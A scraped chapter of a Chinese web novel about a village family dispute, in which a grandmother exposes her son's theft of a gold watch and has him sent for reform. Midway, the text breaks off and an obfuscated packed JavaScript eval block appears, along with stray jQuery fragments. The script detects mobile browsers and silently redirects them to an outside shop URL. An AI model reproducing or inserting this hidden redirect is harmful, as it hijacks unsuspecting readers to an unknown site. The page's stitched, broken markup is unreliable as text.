程起的话一出,全场哗然。
“啪!”
曾绮华这次的巴掌格外响亮,直接给程起嘴角扇破了,她的眼里满是失望,“原来你这么多年和我作对就是因为你奶奶说的这话。”
程起捂着脸,看向曾绮华的眼神里满是怨毒。
“蠢货!”曾绮华骂道:“全天下最大的蠢货!”
罗大强站在母子中间,他为难地看了看两边,最后选择了面向程起,“这就是你不对了,明眼人都能看出你们之间的相似,怎么可能不是她亲生的,再说了,你可是在咱们村里出生的,你爸有没有前妻咱们不知道,但你肯定是婶子生的,这事咱们村里的老人都能作证。”
“都说程老婆子不喜欢儿媳妇,原来是真的,竟然这样教孙子。”
“是啊是啊,我看程老婆子挺和善的,果然知人知面不知心。”
程起眼神飘忽了一瞬,但态度依旧强硬,“那又怎么样,她不把家里的东西给我,那她也不是我妈!”
一旁终于被程春妮帮忙擦干净嘴的王翠可以说话了,附和道:“就是就是,好东西不给儿子留着,只想着外人,这样的妈,有还不如没有,我们一家都不认她!”
程春妮:“妈...”
王翠撞开她,“滚一边去,死丫头,一点用处都没有还帮着别人说话。”
程春妮不敢再说话,缩在一边一动不动。
“好好好,你们不认我。”曾绮华听见程起两口子都不认她,怒极反笑,“那我也不用顾忌母子之情了。”
她看向罗大强,道:“我要举报程起杀害程绍毅以及偷窃财物。”
“!!!”
虽然不明白这娘俩怎么就和杀人过不去了,但很明显曾绮华的话更有可信度,而且程绍毅可是程起的爹啊。
“什么意思?”罗大强瞬间严肃起来,这可是大事。
“你瞎说!”
“放屁!你污蔑!”
程起和王翠听到这话顿时挣扎起来,但很快就被罗大强派人给按住了。
在事情没弄清楚之前,这两人,至少程起就是嫌疑犯。
罗大强还想将看热闹的人赶走,曾绮华却示意不必。
“就让他们做个见证,也免得以后提起我都说我心狠。”
既然曾绮华都不介意了,罗大强便没再赶人,而是听曾绮华诉说当年的事情。
“老程虽然是病死的,但他本来还可以活一段时间。”曾绮华被悲伤包裹,整个人瞬间老了十岁,“是程起有段时间天天在老程的床前骂他拖累家里,骂他怎么还不死,老程这才没了活下去的想法。”
“不可能,你瞎说,我怎么会这么对我爸?”程起立刻反驳,“你就是不想认我这个儿子才污蔑我,真是最毒妇人心!”
曾绮华对程起已然心死,没有理会他的话,继续道:“他以为没人听见,但也确实没人听见。”
听到这里,程起笑了,“我就说吧,你就是污蔑我的。”
曾绮华:“但估计是他心虚,曾经在老程的坟前念叨,让老程别怪他。”
她冷笑一声,“做了恶事怕被报应,还让人别怪他,要不是他是我儿子,又人死不能复生,我早就送他去坐牢了。”
众人目光看向程起,程起依旧是那副样子,但眼里一闪而过的心虚还是被人捕捉到了。
程起狠狠地瞪了周围人一眼,“看什么看?有证据吗?没证据就别瞎说!”
罗大强听到这里也十分为难,“婶子,如果程起真做了这事,那他确实可恶,但没有证据,仅凭您说得,怕是...”
这东西没人证明,程起又死咬着不松口,还真不一定能定罪。
曾绮华显然也知道,表情没有一点变化,又道:“这事我没证据,但偷窃财物我有证据。”
听了这话,程起脸色突变,比刚刚那点心虚可明显多了,罗大强一看,心里有数了,道:“那您赶快拿出来!”
曾绮华进屋找证据,其他人也跟着进去了,罗大强干脆也让人将程起和王翠带进屋里。
“就是这张字条了。”
没过多久,曾绮华出来,甩出一张字条,字条落在桌上,上面的内容清晰可见,顶头是认罪书三个字。
程起冷汗直冒,那被压着签字时的场景和此时仿佛重合在了一起。
他低声道:“不是我,我是被逼的,我是被妹夫逼的!”
“妹夫?”程锦宁一愣,程起的妹夫不就是她爸吗?
“我爸还掺和了这事?”她拿起认罪书看了起来,一边看一边念:“认罪认程起,认罪原因是偷窃曾绮华价值二百六十元的金怀表一块...时间是五年前,见证人是许荣军。”
程锦宁纳闷地挠了挠头,“我记得我爸五年前来看过我,但我怎么不记得有这事?”
曾绮华摸了摸她的脑袋,“你那天玩累了,睡得很香。”
程锦宁轻咳一声,反手抱住曾绮华的手臂,“奶奶,我会一直站在您这边。”
曾绮华笑了笑,没说话。
这边祖孙俩感情升温,那边听到怀表价格的人,看向曾绮华的眼神都变了,谁没想到这老太太这么富。
曾绮华也感受到了,淡定地说:“是老程的遗物,已经卖了,钱...”
她看向程起,“都给他还债了。”
众人又看向程起,满眼恨铁不成钢。
如果说刚刚还有人羡慕嫉妒,此刻都变成了同情。
程起原本的慌张此时全部变成了不服气,家里所有的东西都是他的,他只是提前拿了而已,怎么能叫偷呢?
而且父母帮孩子还钱,那是天经地义的事情!
罗大强瞥了一眼程起,一看便知道他是不会悔改的,不过仅凭纸条也不保险,他问:“婶子,还有其他证人吗?还有那块怀表直接给了那些人还是当了?最好也有记录。”
曾绮华此时很平静,她本以为会心痛,会难受,但真到了这一刻,那些感觉都很淡,“那天的证人只有荣军,他晚上在屋里歇着,刚好听到动静,当场抓住程起...”
曾绮华看着罗大强手里的纸条,心里只有感叹。
当年许荣军让她留下字条和证据,她认为没有必要,哪曾想到几年后这字条就派上了用场。
“如果还要其他证人的话,我记得当年追债的人有一个是大罗湾的,可以去找他问问,怀表是被当了,就是程起拿去当的,我还留了当时的收据。”曾绮华说着就又进屋找收据去了。
曾绮华不在,所有人的目光又集中到了程起的身上。
此时的程起哪还有一开始的硬气,天气还有些凉,他的脸上却都是汗,被人按着的手更是不停地颤抖。
没一会儿曾绮华出来了,拿出了收据。
罗大强看了一眼,思考片刻,道:“您这些都是有用的,但到底是一家人,判得应当不重。”
曾绮华淡定地说:“那不要紧,我就要他进去,他做的孽够多了,进去反省反省。”
程起猛地抬头,眼睛赤红,脖颈青筋暴起,“妈,我还是你亲儿子吗?”
“这个时候我就是你的亲妈了。”曾绮华自嘲一笑,“我真是没想到养了你这么多年,养成了这个样子。”
“你个老不死的!”程起暴起,挣脱压住他的人,爬起来就想冲向曾绮华那边冲。
但下一刻他就再次被人按住了,抬头一看,是庄靖恒。
之前被压住的记忆再次浮现,程起知道挣扎没有用,只能冷静下来,但依旧双眼赤红。
罗大强将这一幕看在眼里,一边是暴起的儿子,一边是冷静的母亲,这母子俩真是...
他叹了口气,劝道:“婶子,程起毕竟是您的儿子,这母子哪有隔夜仇?更何况还是将程起送进牢里?我也不想您以后后悔。”
见曾绮华不为所动,他又看向程锦宁几人,道:“您不想着母子之情,但是几个孙子孙女呢?”
“这程起坐牢了,对春妮和耀祖的影响最大,其次是宁丫头和梧丫头。”
提起孙子孙女,曾绮华到底是松动了些,千错万错都是程起的错,但几个孙女还有孙子是无辜的。
见状,罗大强又道:“宁丫头已经结婚了,暂时没什么影响,梧丫头呢?她可还没结婚呢,谁家愿意娶有一个坐牢大伯的女孩?”
程梧扯了扯嘴角,“不用担心我,该怎么样就怎么样,他们不想娶,我还不想嫁!”
曾绮华皱眉,“别胡说!”
“怎么就胡说了?”程锦宁握紧程梧的手,“如果因为这么点事情就不愿意娶表姐的话,那以后也会因为别的事情抛弃她!”
曾绮华拍了一下程锦宁的手臂,“瞎说!”
程锦宁撇撇嘴,和程梧对视一眼,两人都从对方的脸上看到了赞同。
不等两人继续,程春妮冲了出来,哭着说:“不行,我求求你们,不要让我爸去坐牢!”
她跪下,拉着曾绮华的手哀求道:“奶奶,我求求你,放过我爸吧,我的彩礼收了,婚期都快定了,我爸要是坐牢,我这婚事就没了!”
见曾绮华没什么反应,程春妮咬咬牙,道:“奶奶,我...我,我肚子里已经有了孩子,不能不结婚。”
这一声无异于一道惊雷,炸得在场的人都没反应过来。
程锦宁震惊地看着她的肚子,“你...你不是才相看一个月吗?”
程春妮相看的时间和她与庄靖恒认识的时间也没差几天。
她这才刚结婚,程春妮孩子都揣上了。
“未婚先孕啊,这春妮可真大胆。”
“之前听王翠说是个城里人,怕是想先绑住吧。”
“那也不好吧。”
“春妮什么都想和宁丫头比,见宁丫头嫁到城里,她自然也想嫁,好不容易找了个愿意的,当然不能让人跑了。”
在一片窃窃私语中,程春妮脸色一点一点变白,但只能强撑着。
曾绮华深深地看了她一眼,道:“你不用为了给你爸求情这么糟蹋自己的名声。”
这话一出,周围的议论声小了些,但认不认同就是另一回事了。
程春妮不懂,还想继续求情,曾绮华打断了她的话,“程起可以不坐牢。”
程春妮和王翠一喜,但这笑容都还没笑开,曾绮华又道:“但我希望大队长送他去改造一段时间。”
罗大强:“这...”
曾绮华叹了口气,道:“程起从小是他奶奶带大的,让她给宠坏了,送他去改造一番也好。”
罗大强见曾绮华已经做了决定,点了点头道:“好,这事我去办。”
听到只是去改造,程起也松了一口气,但脸上依旧不好看。
和坐牢相比,改造也没好到哪里去,还累人。
“都散了吧,今天的事情就到这里了。”罗大强挥手赶人,“快去上工,等会儿还没去的都算旷工!”
听到罗大强的话,围着的人顿时散开了,不过依旧沉浸在这件事里。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789147|210304||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“也不知道春妮那是真的还是假的。”
“谁知道呢,估计是真的,不然哪敢这么说,肯定是肚子里有货!”
“我看老程家的名声估计是...以后难咯。”
“那也未必,他们家条件不错,说不定就有看上的。”
听着一些人的议论,程春妮的身子摇摇欲坠,心里满是后悔,她不该说出来的,或者不该在这么多人的地方说出来。
王翠扶起程起,转头看见程春妮的模样,嫌弃地撇撇嘴,“还不快起来,一副柔弱样,装什么装,耀祖呢?”
程春妮抿了抿嘴唇,她记得当时进屋时便没看见程耀祖,隐约看见他和其他几个玩的比较好的人离开了。
“好像是出去玩了。”她小声道。
“放屁,你弟肯定是去搬救兵了。”王翠呸了她一声,“还不快走,你弟动作也是慢,这个时候还没回来。”
程春妮起身,跟着王翠一起扶着程起。
而就在一家三口即将出门的时候,程锦宁出声拦住了他们。
“大舅大舅妈,你们先别走!”
一家三口停下脚步,转身看着程锦宁,脸上满是不耐烦。
“你奶奶都不追究了,你还要干什么?”王翠恶声恶气地说:“你个死丫头,别多事!”
程锦宁没有被吓到,反而一脸笑意地说:“我只是想请大舅和大舅妈留一份证明而已。”
她点了点那张认罪书,“就像这个一样。”
程起眼睛一瞪,但很快又在庄靖恒和罗大强的视线下老实下来。
程起不甘不愿地坐了回去,“我写可以,让大队长写,我签字。”
罗大强看到那字条,也明白了程锦宁的意思,点头道:“好。”
很快他便写好了一份证明,证明一式两份,曾绮华、程梧以及程锦宁看过之后先后签了字。
最后是程起,他一把抢过程梧手里的纸,仔细查看后签字。
签完字,程起头也不回地走了,王翠和程春妮快步追了上去。
程梧被拽了个踉跄,好在还有程锦宁抬手扶了一把,她才没有摔倒。
罗大强也不多留,跟曾绮华说了一声便要离开。
曾绮华点头,“大强啊,帮我再请半天假吧,这上工也做不下去。”
罗大强嘴角抽了抽,有事大队长,无事大强。
“行,婶子您在家休息吧。”
送走罗大强,曾绮华坐在位置上休息,这一会儿虽没什么体力劳动,但情绪起伏过大,她年龄大了,还是受不住。
程锦宁担忧地看着她,“奶奶,您还好吗?”
曾绮华摆了摆手,“放心,我身子骨结实得很。”
休息了一会儿,曾绮华抬眼,朝着程梧招了招手。
程梧走到曾绮华身边坐下。
曾绮华握住她的手,温声道:“不要和你大伯一家计较,他们这辈子也就这样了,你还有自己的生活。”
程梧点头,“我都知道。”
曾绮华欣慰点头,“你能想明白就好。”
她摸了摸程梧的脑袋,“你要是实在舍不得你爸妈留下的房子,那就招个上门女婿,你的条件不错,想招上门女婿也不难。”
“当然,别学春妮的,她那样...我虽然给她找了借口,但村里的议论不会少。”
面对曾绮华的催婚,程梧相当抗拒,“奶奶,我知道的,绝对不会伤害自己,结婚这事以后再说吧,我现在一个人过得很好。”
“一个人当然好,我也觉得好,但我是个老婆子,也没人惦记,你一个小姑娘,家里还是要有个男人才行。”曾绮华见她不同意,又开始念叨起来,“就今天的事情,你要是有个男人,你大伯都不敢这么说。”
程梧捂着耳朵摇头,“再说吧,再说吧。”
说完,她起身,只丢下一句‘记得去我那里拿东西’便跑没了影。
曾绮华叹了口气,“这孩子...”
“哎呀,奶奶你这思想太老旧了。”程锦宁见状,坐到曾绮华身边,揽住她的肩膀劝道:“我们现在都讲究自由恋爱,就算是上门女婿那也要自由恋爱,表姐现在没有看中的人,自然抗拒。”
“再说了,今天那是表姐没有结婚的问题吗?”她哼哼两声,“那是大伯的问题,不能让表姐去结婚来解决大伯的问题。”
“您都说了,结婚要慎重。”
曾绮华戳了戳程锦宁的额头,“行,你说的都是对的,我老了,不管你们这些小姑娘。”
说不过程锦宁,曾绮华便开始赶人,“去去去,不是要去你表姐那里拿东西吗?拿完了赶紧走,别回去的时候天黑了。”
“那我们走了。”程锦宁看了一眼手表,时间确实不早了。
“走吧走吧。”
程锦宁撇撇嘴,拉着庄靖恒走了,出门前还不忘回头道:“奶奶,要记得想我!”
“行!”
离开曾绮华的屋子,程锦宁带着庄靖恒去程梧家。
程梧家在程锦宁家的斜对角位置,与程起家隔了两间屋子,因着中间的土路有积水,他们要去程梧家必须通过一条稍微干一些的路走到对面,再顺着几家人门口的路走到程梧家。
而这样走必定会经过程起家。
程锦宁和庄靖恒没做亏心事,也就不怕程起,光明正大地走到他家门口。
谁知刚到,路过的时候,屋里传出程起的声音,“那个老不死的,总有一天我...”